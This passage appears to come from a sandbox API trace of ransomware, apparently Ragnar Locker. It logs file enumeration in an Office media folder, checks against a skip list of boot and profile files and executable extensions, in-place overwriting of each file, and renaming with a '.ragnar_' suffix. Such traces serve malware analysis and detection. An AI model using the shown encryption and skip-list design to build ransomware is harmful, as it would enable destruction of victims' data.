Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.683] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a99400, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5a99400, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18222_.WMF", cAlternateFileName="")) returned 1 [0096.683] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.683] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18222_.WMF" | out: lpString1="BD18222_.WMF") returned="BD18222_.WMF" [0096.683] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF") returned=".WMF" [0096.683] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.683] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="autorun.inf") returned 1 [0096.683] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="boot.ini") returned -1 [0096.683] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="bootfont.bin") returned -1 [0096.683] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="bootsect.bak") returned -1 [0096.684] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="bootmgr") returned -1 [0096.684] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="bootmgr.efi") returned -1 [0096.684] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.684] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="desktop.ini") returned -1 [0096.684] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="iconcache.db") returned -1 [0096.684] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="ntldr") returned -1 [0096.684] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="ntuser.dat") returned -1 [0096.684] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.684] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="ntuser.ini") returned -1 [0096.684] lstrcmpiW (lpString1="BD18222_.WMF", lpString2="thumbs.db") returned -1 [0096.684] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.684] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.684] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.684] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.684] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.684] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.684] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf")) returned 0x20 [0096.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.685] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1878) returned 1 [0096.685] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x74d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.685] GetProcessHeap () returned 0x580000 [0096.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.685] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.686] VirtualAlloc (lpAddress=0x0, dwSize=0x756, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.687] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x756, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x756, lpOverlapped=0x0) returned 1 [0096.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.687] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x756, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.687] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x756, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x756, lpOverlapped=0x0) returned 1 [0096.687] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x756, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.687] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x756, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.687] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.687] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.687] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.688] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.688] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.688] GetProcessHeap () returned 0x580000 [0096.688] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.688] CloseHandle (hObject=0xf4) returned 1 [0096.688] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF" [0096.688] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF.ragnar_FD7BD9FC" [0096.688] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.688] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee4c100, ftCreationTime.dwHighDateTime=0x1bddb92, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ee4c100, ftLastWriteTime.dwHighDateTime=0x1bddb92, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18223_.WMF", cAlternateFileName="")) returned 1 [0096.689] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.689] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18223_.WMF" | out: lpString1="BD18223_.WMF") returned="BD18223_.WMF" [0096.689] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF") returned=".WMF" [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="autorun.inf") returned 1 [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="boot.ini") returned -1 [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="bootfont.bin") returned -1 [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="bootsect.bak") returned -1 [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="bootmgr") returned -1 [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="bootmgr.efi") returned -1 [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="desktop.ini") returned -1 [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="iconcache.db") returned -1 [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="ntldr") returned -1 [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="ntuser.dat") returned -1 [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="ntuser.ini") returned -1 [0096.689] lstrcmpiW (lpString1="BD18223_.WMF", lpString2="thumbs.db") returned -1 [0096.689] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.689] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.689] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.689] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.689] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.689] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.689] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf")) returned 0x20 [0096.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.690] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3162) returned 1 [0096.690] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc51, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.690] GetProcessHeap () returned 0x580000 [0096.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.690] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.691] VirtualAlloc (lpAddress=0x0, dwSize=0xc5a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.691] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.691] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.692] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc5a, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc5a, lpOverlapped=0x0) returned 1 [0096.692] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.692] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc5a, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.692] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc5a, lpOverlapped=0x0) returned 1 [0096.692] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc5a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.692] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.692] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.692] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.692] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.692] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.692] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.692] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.692] GetProcessHeap () returned 0x580000 [0096.692] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.692] CloseHandle (hObject=0xf4) returned 1 [0096.693] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF" [0096.693] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF.ragnar_FD7BD9FC" [0096.693] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.693] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9730600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa9730600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18224_.WMF", cAlternateFileName="")) returned 1 [0096.693] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.693] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18224_.WMF" | out: lpString1="BD18224_.WMF") returned="BD18224_.WMF" [0096.693] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF") returned=".WMF" [0096.693] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.693] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="autorun.inf") returned 1 [0096.693] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="boot.ini") returned -1 [0096.693] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="bootfont.bin") returned -1 [0096.694] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="bootsect.bak") returned -1 [0096.694] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="bootmgr") returned -1 [0096.694] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="bootmgr.efi") returned -1 [0096.694] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.694] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="desktop.ini") returned -1 [0096.694] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="iconcache.db") returned -1 [0096.694] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="ntldr") returned -1 [0096.694] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="ntuser.dat") returned -1 [0096.694] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.694] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="ntuser.ini") returned -1 [0096.694] lstrcmpiW (lpString1="BD18224_.WMF", lpString2="thumbs.db") returned -1 [0096.694] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.694] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.694] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.694] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.694] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.694] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.694] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf")) returned 0x20 [0096.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.695] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1664) returned 1 [0096.695] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x677, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.695] GetProcessHeap () returned 0x580000 [0096.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.695] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.696] VirtualAlloc (lpAddress=0x0, dwSize=0x680, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.696] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x680, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x680, lpOverlapped=0x0) returned 1 [0096.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.696] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x680, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.696] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x680, lpOverlapped=0x0) returned 1 [0096.697] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x680, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.697] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.697] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x680, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.697] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.697] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.697] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.697] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.697] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.697] GetProcessHeap () returned 0x580000 [0096.697] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.697] CloseHandle (hObject=0xf4) returned 1 [0096.697] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF" [0096.697] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF.ragnar_FD7BD9FC" [0096.697] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.698] 